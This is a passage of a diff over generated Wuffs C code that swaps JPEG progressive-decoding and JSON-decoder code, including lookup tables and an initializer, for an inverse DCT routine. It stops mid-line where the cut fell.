-- label__goto_done__break:; -- v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); -- if (v_pos > self->private_impl.f_bitstream_wi) { -- v_ret = 2u; -- } else { -- self->private_impl.f_bitstream_ri = v_pos; -+ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[0u] + 16u)) >> 5u) & 1023u)]; -+ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -+ } else { -+ v_in2 = v_intermediate[2u]; -+ v_in6 = v_intermediate[6u]; -+ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); -+ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); -+ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); -+ v_in0 = v_intermediate[0u]; -+ v_in4 = v_intermediate[4u]; -+ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); -+ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); -+ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); -+ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); -+ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); -+ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); -+ v_in1 = v_intermediate[1u]; -+ v_in3 = v_intermediate[3u]; -+ v_in5 = v_intermediate[5u]; -+ v_in7 = v_intermediate[7u]; -+ v_ri51 = ((uint32_t)(v_in5 + v_in1)); -+ v_ri53 = ((uint32_t)(v_in5 + v_in3)); -+ v_ri71 = ((uint32_t)(v_in7 + v_in1)); -+ v_ri73 = ((uint32_t)(v_in7 + v_in3)); -+ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); -+ v_rk1 = ((uint32_t)(v_in1 * 12299u)); -+ v_rk3 = ((uint32_t)(v_in3 * 25172u)); -+ v_rk5 = ((uint32_t)(v_in5 * 16819u)); -+ v_rk7 = ((uint32_t)(v_in7 * 2446u)); -+ v_ri51 *= 4294964100u; -+ v_ri53 *= 4294946301u; -+ v_ri71 *= 4294959923u; -+ v_ri73 *= 4294951227u; -+ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); -+ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); -+ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); -+ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); -+ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); -+ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); -+ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); - } -- v_r = o_0_v_r; -- iop_v_r = o_0_iop_v_r; -- io0_v_r = o_0_io0_v_r; -- io1_v_r = o_0_io1_v_r; -- io2_v_r = o_0_io2_v_r; -- } -- self->private_impl.f_bitstream_bits = v_bits; -- self->private_impl.f_bitstream_n_bits = v_n_bits; -- return v_ret; --} -- --// -------- func jpeg.decoder.decode_mcu_progressive_dc_low_bit -- --WUFFS_BASE__GENERATED_C_CODE --static uint32_t --wuffs_jpeg__decoder__decode_mcu_progressive_dc_low_bit( -- wuffs_jpeg__decoder* self, -- wuffs_base__slice_u8 a_workbuf, -- uint32_t a_mx, -- uint32_t a_my) { -- uint32_t v_ret = 0; -- uint64_t v_bits = 0; -- uint32_t v_n_bits = 0; -- uint16_t v_one_lshift_scan_al = 0; -- wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); -- wuffs_base__io_buffer* v_r = &u_r; -- const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint32_t v_pos = 0; -- -- v_bits = self->private_impl.f_bitstream_bits; -- v_n_bits = self->private_impl.f_bitstream_n_bits; -- v_one_lshift_scan_al = (((uint16_t)(1u)) << self->private_impl.f_scan_al); -- if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { -- return 2u; -+ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); - } -- { -- wuffs_base__io_buffer* o_0_v_r = v_r; -- const uint8_t *o_0_iop_v_r = iop_v_r; -- const uint8_t *o_0_io0_v_r = io0_v_r; -- const uint8_t *o_0_io1_v_r = io1_v_r; -- const uint8_t *o_0_io2_v_r = io2_v_r; -- v_r = wuffs_base__io_reader__set( -- &u_r, -- &iop_v_r, -- &io0_v_r, -- &io1_v_r, -- &io2_v_r, -- wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, -- self->private_impl.f_bitstream_ri, -- self->private_impl.f_bitstream_wi), -- ((uint64_t)(self->private_impl.f_bitstream_ri))); -- do { -- while (self->private_impl.f_mcu_current_block < self->private_impl.f_mcu_num_blocks) { -- if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { -- v_ret = 1u; -- goto label__goto_done__break; -- } -- do { -- if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { -- v_ret = 2u; -- goto label__goto_done__break; -- } -- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); -- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); -- v_n_bits |= 56u; -- if ((v_bits >> 63u) != 0u) { -- self->private_data.f_mcu_blocks[self->private_impl.f_mcu_current_block][0u] |= v_one_lshift_scan_al; -- } -- v_bits <<= 1u; -- v_n_bits -= 1u; -- } while (0); -- self->private_impl.f_mcu_current_block += 1u; -- } -- self->private_impl.f_mcu_current_block = 0u; -- } while (0); -- label__goto_done__break:; -- v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); -- if (v_pos > self->private_impl.f_bitstream_wi) { -- v_ret = 2u; -- } else { -- self->private_impl.f_bitstream_ri = v_pos; -+ if (0u == (v_intermediate[9u] | -+ v_intermediate[10u] | -+ v_intermediate[11u] | -+ v_intermediate[12u] | -+ v_intermediate[13u] | -+ v_intermediate[14u] | -+ v_intermediate[15u])) { -+ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); - } -- v_r = o_0_v_r; -- iop_v_r = o_0_iop_v_r; -- io0_v_r = o_0_io0_v_r; -- io1_v_r = o_0_io1_v_r; -- io2_v_r = o_0_io2_v_r; -- } -- self->private_impl.f_bitstream_bits = v_bits; -- self->private_impl.f_bitstream_n_bits = v_n_bits; -- return v_ret; --} -- --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JPEG) -- --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JSON) -- --// ---------------- Status Codes Implementations -- --const char wuffs_json__error__bad_c0_control_code[] = "#json: bad C0 control code"; --const char wuffs_json__error__bad_utf_8[] = "#json: bad UTF-8"; --const char wuffs_json__error__bad_backslash_escape[] = "#json: bad backslash-escape"; --const char wuffs_json__error__bad_input[] = "#json: bad input"; --const char wuffs_json__error__bad_new_line_in_a_string[] = "#json: bad new-line in a string"; --const char wuffs_json__error__bad_quirk_combination[] = "#json: bad quirk combination"; --const char wuffs_json__error__unsupported_number_length[] = "#json: unsupported number length"; --const char wuffs_json__error__unsupported_recursion_depth[] = "#json: unsupported recursion depth"; --const char wuffs_json__error__internal_error_inconsistent_i_o[] = "#json: internal error: inconsistent I/O"; -- --// ---------------- Private Consts -- --#define WUFFS_JSON__DECODER_NUMBER_LENGTH_MAX_INCL 99 -- --static const uint8_t --WUFFS_JSON__LUT_BACKSLASHES[256] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 3, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 162, 0, 0, 0, 0, 5, -- 0, 0, 0, 0, 0, 0, 0, 175, -- 7, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 4, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 220, 0, 0, 0, -- 0, 1, 136, 0, 0, 2, 140, 0, -- 0, 0, 0, 0, 0, 0, 138, 0, -- 0, 0, 141, 0, 137, 0, 6, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, --}; -- --static const uint8_t --WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_QUIRKS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 0, 1, 3, 4, 5, 6, 7, 10, --}; -- --static const uint8_t --WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_CHARS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 0, 7, 27, 10, 63, 39, 11, 0, --}; -- --static const uint8_t --WUFFS_JSON__LUT_CHARS[256] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 128, 129, 130, 131, 132, 133, 134, 135, -- 136, 137, 138, 139, 140, 141, 142, 143, -- 144, 145, 146, 147, 148, 149, 150, 151, -- 152, 153, 154, 155, 156, 157, 158, 159, -- 0, 0, 1, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 2, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 16, 16, 16, 16, 16, 16, 16, 16, -- 16, 16, 16, 16, 16, 16, 16, 16, -- 16, 16, 16, 16, 16, 16, 16, 16, -- 16, 16, 16, 16, 16, 16, 16, 16, -- 16, 16, 16, 16, 16, 16, 16, 16, -- 16, 16, 16, 16, 16, 16, 16, 16, -- 16, 16, 16, 16, 16, 16, 16, 16, -- 16, 16, 16, 16, 16, 16, 16, 16, -- 32, 32, 3, 3, 3, 3, 3, 3, -- 3, 3, 3, 3, 3, 3, 3, 3, -- 3, 3, 3, 3, 3, 3, 3, 3, -- 3, 3, 3, 3, 3, 3, 3, 3, -- 4, 4, 4, 4, 4, 4, 4, 4, -- 4, 4, 4, 4, 4, 4, 4, 4, -- 5, 5, 5, 5, 5, 32, 32, 32, -- 32, 32, 32, 32, 32, 32, 32, 32, --}; -- --#define WUFFS_JSON__CLASS_WHITESPACE 0 -- --#define WUFFS_JSON__CLASS_STRING 1 -- --#define WUFFS_JSON__CLASS_COMMA 2 -- --#define WUFFS_JSON__CLASS_COLON 3 -- --#define WUFFS_JSON__CLASS_NUMBER 4 -- --#define WUFFS_JSON__CLASS_OPEN_CURLY_BRACE 5 -- --#define WUFFS_JSON__CLASS_CLOSE_CURLY_BRACE 6 -- --#define WUFFS_JSON__CLASS_OPEN_SQUARE_BRACKET 7 -- --#define WUFFS_JSON__CLASS_CLOSE_SQUARE_BRACKET 8 -- --#define WUFFS_JSON__CLASS_FALSE 9 -- --#define WUFFS_JSON__CLASS_TRUE 10 -- --#define WUFFS_JSON__CLASS_NULL_NAN_INF 11 -- --#define WUFFS_JSON__CLASS_COMMENT 12 -- --#define WUFFS_JSON__EXPECT_VALUE 7858 -- --#define WUFFS_JSON__EXPECT_NON_STRING_VALUE 7856 -- --#define WUFFS_JSON__EXPECT_STRING 4098 -- --#define WUFFS_JSON__EXPECT_COMMA 4100 -- --#define WUFFS_JSON__EXPECT_COLON 4104 -- --#define WUFFS_JSON__EXPECT_NUMBER 4112 -- --#define WUFFS_JSON__EXPECT_CLOSE_CURLY_BRACE 4160 -- --#define WUFFS_JSON__EXPECT_CLOSE_SQUARE_BRACKET 4352 -- --static const uint8_t --WUFFS_JSON__LUT_CLASSES[256] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 15, 15, 15, 15, 15, 15, 15, 15, -- 15, 0, 0, 15, 15, 0, 15, 15, -- 15, 15, 15, 15, 15, 15, 15, 15, -- 15, 15, 15, 15, 15, 15, 15, 15, -- 0, 15, 1, 15, 15, 15, 15, 15, -- 15, 15, 15, 11, 2, 4, 15, 12, -- 4, 4, 4, 4, 4, 4, 4, 4, -- 4, 4, 3, 15, 15, 15, 15, 15, -- 15, 15, 15, 15, 15, 15, 15, 15, -- 15, 11, 15, 15, 15, 15, 11, 15, -- 15, 15, 15, 15, 15, 15, 15, 15, -- 15, 15, 15, 7, 15, 8, 15, 15, -- 15, 15, 15, 15, 15, 15, 9, 15, -- 15, 11, 15, 15, 15, 15, 11, 15, -- 15, 15, 15, 15, 10, 15, 15, 15, -- 15, 15, 15, 5, 15, 6, 15, 15, -- 15, 15, 15, 15, 15, 15, 15, 15, -- 15, 15, 15, 15, 15, 15, 15, 15, -- 15, 15, 15, 15, 15, 15, 15, 15, -- 15, 15, 15, 15, 15, 15, 15, 15, -- 15, 15, 15, 15, 15, 15, 15, 15, -- 15, 15, 15, 15, 15, 15, 15, 15, -- 15, 15, 15, 15, 15, 15, 15, 15, -- 15, 15, 15, 15, 15, 15, 15, 15, -- 15, 15, 15, 15, 15, 15, 15, 15, -- 15, 15, 15, 15, 15, 15, 15, 15, -- 15, 15, 15, 15, 15, 15, 15, 15, -- 15, 15, 15, 15, 15, 15, 15, 15, -- 15, 15, 15, 15, 15, 15, 15, 15, -- 15, 15, 15, 15, 15, 15, 15, 15, -- 15, 15, 15, 15, 15, 15, 15, 15, -- 15, 15, 15, 15, 15, 15, 15, 15, --}; -- --static const uint8_t --WUFFS_JSON__LUT_DECIMAL_DIGITS[256] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 128, 129, 130, 131, 132, 133, 134, 135, -- 136, 137, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, --}; -- --static const uint8_t --WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[256] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 128, 129, 130, 131, 132, 133, 134, 135, -- 136, 137, 0, 0, 0, 0, 0, 0, -- 0, 138, 139, 140, 141, 142, 143, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 138, 139, 140, 141, 142, 143, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, --}; -- --#define WUFFS_JSON__QUIRKS_BASE 1225364480 -- --#define WUFFS_JSON__QUIRKS_COUNT 21 -- --// ---------------- Private Initializer Prototypes -- --// ---------------- Private Function Prototypes -- --WUFFS_BASE__GENERATED_C_CODE --static uint32_t --wuffs_json__decoder__decode_number( -- wuffs_json__decoder* self, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static uint32_t --wuffs_json__decoder__decode_digits( -- wuffs_json__decoder* self, -- wuffs_base__io_buffer* a_src, -- uint32_t a_n); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_json__decoder__decode_leading( -- wuffs_json__decoder* self, -- wuffs_base__token_buffer* a_dst, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_json__decoder__decode_comment( -- wuffs_json__decoder* self, -- wuffs_base__token_buffer* a_dst, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_json__decoder__decode_inf_nan( -- wuffs_json__decoder* self, -- wuffs_base__token_buffer* a_dst, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_json__decoder__decode_trailer( -- wuffs_json__decoder* self, -- wuffs_base__token_buffer* a_dst, -- wuffs_base__io_buffer* a_src); -- --// ---------------- VTables -- --const wuffs_base__token_decoder__func_ptrs --wuffs_json__decoder__func_ptrs_for__wuffs_base__token_decoder = { -- (wuffs_base__status(*)(void*, -- wuffs_base__token_buffer*, -- wuffs_base__io_buffer*, -- wuffs_base__slice_u8))(&wuffs_json__decoder__decode_tokens), -- (uint64_t(*)(const void*, -- uint32_t))(&wuffs_json__decoder__get_quirk), -- (uint64_t(*)(const void*))(&wuffs_json__decoder__history_retain_length), -- (wuffs_base__status(*)(void*, -- uint32_t, -- uint64_t))(&wuffs_json__decoder__set_quirk), -- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_json__decoder__workbuf_len), --}; -- --// ---------------- Initializer Implementations -- --wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_json__decoder__initialize( -- wuffs_json__decoder* self, -- size_t sizeof_star_self, -- uint64_t wuffs_version, -- uint32_t options){ -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (sizeof(*self) != sizeof_star_self) { -- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -- } -- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[8u] + 16u)) >> 5u) & 1023u)]; -+ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -+ } else { -+ v_in2 = v_intermediate[10u]; -+ v_in6 = v_intermediate[14u]; -+ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); -+ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); -+ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); -+ v_in0 = v_intermediate[8u]; -+ v_in4 = v_intermediate[12u]; -+ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); -+ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); -+ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); -+ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); -+ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); -+ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); -+ v_in1 = v_intermediate[9u]; -+ v_in3 = v_intermediate[11u]; -+ v_in5 = v_intermediate[13u]; -+ v_in7 = v_intermediate[15u]; -+ v_ri51 = ((uint32_t)(v_in5 + v_in1)); -+ v_ri53 = ((uint32_t)(v_in5 + v_in3)); -+ v_ri71 = ((uint32_t)(v_in7 + v_in1)); -+ v_ri73 = ((uint32_t)(v_in7 + v_in3)); -+ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); -+ v_rk1 = ((uint32_t)(v_in1 * 12299u)); -+ v_rk3 = ((uint32_t)(v_in3 * 25172u)); -+ v_rk5 = ((uint32_t)(v_in5 * 16819u)); -+ v_rk7 = ((uint32_t)(v_in7 * 2446u)); -+ v_ri51 *= 4294964100u; -+ v_ri53 *= 4294946301u; -+ v_ri71 *= 4294959923u; -+ v_ri73 *= 4294951227u; -+ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); -+ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); -+ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); -+ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); -+ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); -+ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); -+ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); -+ } -+ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); - } -- -- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -- // The whole point of this if-check is to detect an uninitialized *self. -- // We disable the warning on GCC. Clang-5.0 does not have this warning. --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" --#endif -- if (self->private_impl.magic != 0) { -- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ if (0u == (v_intermediate[17u] | -+ v_intermediate[18u] | -+ v_intermediate[19u] | -+ v_intermediate[20u] | -+ v_intermediate[21u] | -+ v_intermediate[22u] | -+ v_intermediate[23u])) { -+ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); - } --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -+ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[16u] + 16u)) >> 5u) & 1023u)]; -+ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); - } else { -- if ((options & 